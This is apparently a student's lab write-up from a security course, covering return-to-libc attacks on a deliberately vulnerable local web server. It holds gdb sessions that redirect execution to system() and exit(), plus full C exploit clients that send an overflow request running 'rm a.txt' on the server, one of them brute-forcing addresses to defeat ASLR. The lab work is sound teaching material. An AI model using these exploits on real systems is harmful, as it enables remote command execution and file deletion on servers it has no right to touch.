title: return-to-libc

date: 2016-01-11 17:40:30

categories: information-security

tags: return-to-libc

  • Exercise1

    The Ubuntu 12.04 OS you've been using in this lab has the non-executable stack support by default.

    To compile a C program, just use the -z noexecstack option to mark the stack segment non-executable.

    Re-compile the vulnerable program stack2.c from lab 1:

    $ make stack2

    • perform a buffer-overflow attack as you do in Lab1, can you succeed any more? What do you observe?
      不能成功 栈不可执行

  • Exercise2

    Use gdb to smash the function stack, the C program offered you here is exec3.c.

    • As follows:
      ...
    p system
    $9=0xf7e5fe80
    p/x $ebp+16
    $10=0xffffd278
    p/x $ebp+4
    $11=0xffffd26c
    set *0xffffd278=0x736c
    x/s 0xffffd278
    0xffffd278:"ls"
    p/x $ebp+12
    $12=0xffffd274
    set *0xffffd274=0xffffd278
    set *0xffffd26c=0xf7e5fe80
    c
    Return to fun!
    browser.c exec3 exec3.c Makefile server stack2 stack2.c Program received signal SIGSEGV,Segmentation fault

    As you can see, the command system(“ls”) constructed by gdb runs smoothly, but not perfect.

    What triggered the “SIGSEG” fault? Modify the process memory in gdb just like above,

    to to let the process exit gracefully.

    • we can call exit(0) after calling system("ls")
      ...
    p system
    $9=0xf7e5fe80
    p exit
    $10=0xf7e53b60
    p/x $ebp+16
    $11=0xffffd278
    p/x $ebp+8
    $12=0xffffd270
    set *0xffffd270=0xf7e53b60
    p/x $ebp+4
    $13=0xffffd26c
    set *0xffffd278=0x736c
    x/s 0xffffd278
    0xffffd278:"ls"
    p/x $ebp+12
    $14=0xffffd274
    set *0xffffd274=0xffffd278
    set *0xffffd26c=0xf7e5fe80
    c
    Return to fun!
    browser.c exec3 exec3.c Makefile server stack2 stack2.c

  • Exercise3

    try to perform a return-to-libc attack by contructing and sending a malicious request containing your shellcode.

    Your shellcode can still delete a file from the web server, or can do something else.
      gdb调试,确定服务器s数组到$ebp的距离1056
    $ebp+4存放system地址
    $ebp+8存放exit地址
    $ebp+12存放"rm a.txt"地址
    构造req数组
    char req[len];
    memset(req,'A',len);
    req[len-4]='\r';
    req[len-3]='\n';
    req[len-2]='\r';
    req[len-1]='\n';
    req[0]='r';
    req[1]='m';
    req[2]='\t';
    req[3]='a';
    req[4]='.';
    req[5]='t';
    req[6]='x';
    req[7]='t';
    req[8]='\0';
    req[1060]=0x60;//system地址
    req[1061]=0xe3;
    req[1062]=0xe4;
    req[1063]=0xb7; req[1064]=0x50;//exit地址
    req[1065]=0x11;
    req[1066]=0xe4;
    req[1067]=0xb7; req[1068]=0xb8;//"rm a.txt"地址
    req[1069]=0xef;
    req[1070]=0xff;
    req[1071]=0xbf;
    运行结果,成功删除了服务器端文件a.txt
    再次运行,显示文件a.txt不存在
    • 完整代码browser.c
      #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <fcntl.h>
    #include <sys/shm.h> #define PORT 8080 int main(int argc, char *argv[])
    {
    int port = PORT;
    if (argc>1)
    port = atoi(argv[1]); int sock_client = socket(AF_INET,SOCK_STREAM, 0);//sock fd struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port); //server port addr.sin_addr.s_addr = inet_addr("127.0.0.1"); ///server ip address if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
    {
    perror("connect");
    exit(1);
    } printf("sock_client = %d\n",sock_client); #define len 1100
    char req[len];
    memset(req,'A',len);
    req[len-4]='\r',
    req[len-3]='\n',
    req[len-2]='\r',
    req[len-1]='\n'; req[0]='r';
    req[1]='m';
    req[2]='\t';
    req[3]='a';
    req[4]='.';
    req[5]='t';
    req[6]='x';
    req[7]='t';
    req[8]='\0'; req[1060]=0x60;
    req[1061]=0xe3;
    req[1062]=0xe4;
    req[1063]=0xb7; req[1064]=0x50;
    req[1065]=0x11;
    req[1066]=0xe4;
    req[1067]=0xb7; req[1068]=0xb8;
    req[1069]=0xef;
    req[1070]=0xff;
    req[1071]=0xbf; write(sock_client,req,len);
    char resp[1024];
    int num = 0;
    while(read (sock_client, &resp[num], 1))
    num++;
    resp[num] = 0;
    printf("Response = %s\n",resp);
    close(sock_client); return 0;
    }

  • Exercise4

    Now, turn on the Ubuntu’s address space layout randomization:

    sysctl -w kernel.randomize_va_space=2

    Try to attack the web server using buffer overflow. Can you succeed?

    • Where is the buffer’s address? Is it exploitable?
      不能成功 地址变化

  • Exercise5

    To defeat ASLR, we can use the Brute Force attack technique,

    which is simple but effective in guessing the variable buffer address.

    The basic idea is that although we don’t know the exact address of the buffer,

    however, we know its range, say, from 0x00000000 to 0xbfffffff.

    So, by trying each address in turn, we’ll hit the right address sooner or later.

    • 爆破
      打开地址随机化
    打开栈不可执行
    通过gdb调试多次,观察得出:
    &ebp地址距离s数组的距离不变,始终是1056
    system地址0xbf****60
    exit地址0xbf******
    s地址0xbf******
    忽略程序的正常退出,通过创建5层循环,从0x00遍历到0xff
    在每一次循环结束后,客户端会断开连接
    在新一次循环时,客户端会再次连接
    • 完整代码browser.c
      #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <fcntl.h>
    #include <sys/shm.h> #define PORT 8080 int main(int argc, char *argv[])
    {
    int port = PORT;
    if (argc>1)
    port = atoi(argv[1]); int sock_client;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port); //server port
    addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //server ip address printf("sock_client = %d\n",sock_client); #define len 1100
    char req[len];
    memset(req,'A',len);
    req[len-4]='\r',
    req[len-3]='\n',
    req[len-2]='\r',
    req[len-1]='\n'; req[0]='r';
    req[1]='m';
    req[2]='\t';
    req[3]='a';
    req[4]='.';
    req[5]='t';
    req[6]='x';
    req[7]='t';
    req[8]='\0'; int sys1,sys2;
    int s1,s2,s3;
    int dist=1056; req[dist+4]=0x60;
    req[dist+7]=0xb7;
    req[dist+15]=0xbf; for(sys1=0x1;sys1<=0xff;++sys1)
    {
    for(sys2=0x1;sys2<=0xff;++sys2)
    {
    for(s1=0x1;s1<=0xff;++s1)
    {
    for(s2=0x1;s2<=0xff;++s2)
    {
    for(s3=0x1;s3<=0xff;++s3)
    {
    req[dist+5]=sys1;
    req[dist+6]=sys2;
    req[dist+12]=s1;
    req[dist+13]=s2;
    req[dist+14]=s3; int sock_client = socket(AF_INET,SOCK_STREAM, 0);//sock fd if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
    {
    perror("connect");
    exit(1);
    } write(sock_client,req,len); close(sock_client); }
    }
    }
    } }
    return 0;
    }

信息安全实验二:return-to-libc的更多相关文章

  1. 20155236 《信息安全概论》实验二(Windows系统口令破解)实验报告

    20155236 <信息安全概论>实验二(Windows系统口令破解)实验报告 北京电子科技学院(BESTI) 实验报告 课程:信息安全概论 班级:1552 姓名:范晨歌 学号:20155 ...

  2. 科软-信息安全实验1-ICMP重定向

    目录 一 前言 二 Talk is cheap, show me the code 三 效果演示 四 遇到的问题&解决 一 前言 文章不讲解理论知识哈,想学习理论知识的,认真听课

  3. 20145215实验二 Java面向对象程序设计

    一.实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O.L.I.D原则 了解设计模式 二.实验步骤 (一)单元测试 (1)三种代码 伪代码: ...

  4. 实验二 用C语言表示进程的调度

    实验二 一. 实验目的 通过模拟进程的调度,进一步了解进程的调度的具体过程. 二. 实验内容和要求 1.进程PCB的结构体定义 2.定义队列 3.输入进程序列 4.排序(按到位时间) 5.输出进程运行 ...

  5. 实验二 Java面向对象程序设计

    实验二 Java面向对象程序设计 实验内容 1. 初步掌握单元测试和TDD 2. 理解并掌握面向对象三要素:封装.继承.多态 3. 初步掌握UML建模 4. 熟悉S.O.L.I.D原则 5. 了解设计 ...

  6. 实验二 PHP基本语法实验

    实验二 PHP基本语法实验 0 实验准备 0.1实验环境和相关工具软件 具体到的机房环境,请在Windowsxp环境下做本实验: l  操作系统:Windowsxp l  Web服务器:Apache ...

  7. 20145213《Java程序设计》实验二Java面向对象程序设计实验报告

    20145213<Java程序设计>实验二Java面向对象程序设计实验报告 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装,继承,多态 初步掌握UML建模 熟悉S.O. ...

  8. 20145206《Java程序设计》实验二Java面向对象程序设计实验报告

    20145206<Java程序设计>实验二Java面向对象程序设计实验报告 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O. ...

  9. 20145308刘昊阳 《Java程序设计》实验二 Java面向对象程序设计 实验报告

    20145308刘昊阳 <Java程序设计>实验二 Java面向对象程序设计 实验报告 实验名称 Java面向对象程序设计 实验内容 初步掌握单元测试和TDD 理解并掌握面相对象三要素:封 ...

随机推荐

  1. 多线程同步、异步(BeginInvoke)

    一.线程的基础知识 1 System.Threading.Thread类 System.Threading.Thread是用于控制线程的基础类,通过Thread可以控制当前应用程序域中线程的创建.挂起 ...

  2. jquery 异步请求Demo【转载】

    $(document).ready(function() { $.ajax({ url : "/AjaxAction/LoginArea.ashx", data : {userna ...

  3. 局部更新 java web 的文件

    方法一:直接更新文件 直接修改部署后的文件.比如用 maven 打包成 WAR 文件,部署(复制)到 Tomcat/webapps 目录后,Tomcat 会立即将 WAR 文件解压成目录结构.此时,只 ...

  4. Exception testing

    怎样去验证代码是否抛出我们期望的异常呢?虽然在代码正常结束时候验证很重要,但是在异常的情况下确保代码如我们希望的运行也很重要.比如说: new ArrayList<Object>().ge ...

  5. Oracle Dataguard三种保护模式

    Oracle Dataguard提供了三种数据保护模式,在此分别总结一下三种数据保护模式的特点. 1.最大保护模式1)这种模式提供了最高级别的数据保护能力:2)要求至少一个物理备库收到重做日志后,主库 ...

  6. JSP元素和标签

    1.JSP 的运行原理  当服务器上的一个JSP 页面被第一次请求执行时,服务器上的JSP引擎首先将JSP 页面文件转译成一个java 文件,再将这个java 文件 编译生成字节码文件,然后通过执行字 ...

  7. HDU1007 Quoit Design 【分治】

    Quoit Design Time Limit: 10000/5000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others) To ...

  8. [转] 在 Linux 中怎样使用cp命令合并目录树

    PS:通过cp -r --link a/* b/* merged 硬链接不需要复制 怎样将两个布局相似的目录树合并成一个新的目录树?为理解该问题让我们思考下面的例子. 假设 dir1 和 dir2 目 ...

  9. js window.open()弹出窗口参数说明及居中设置

    window.open()可以弹出一个新的窗口,并且通过参数控制窗口的各项属性. 最基本的弹出窗口代码 window.open('httP://codeo.cn/'); window.open()各参 ...

  10. Android Configuration change引发的问题及解决方法

    之前在学习Fragment和总结Android异步操作的时候会在很多blog中看到对Configuration Change的讨论,以前做的项目都是固定竖屏的,所以对横竖屏切换以及横竖屏切换对程序有什 ...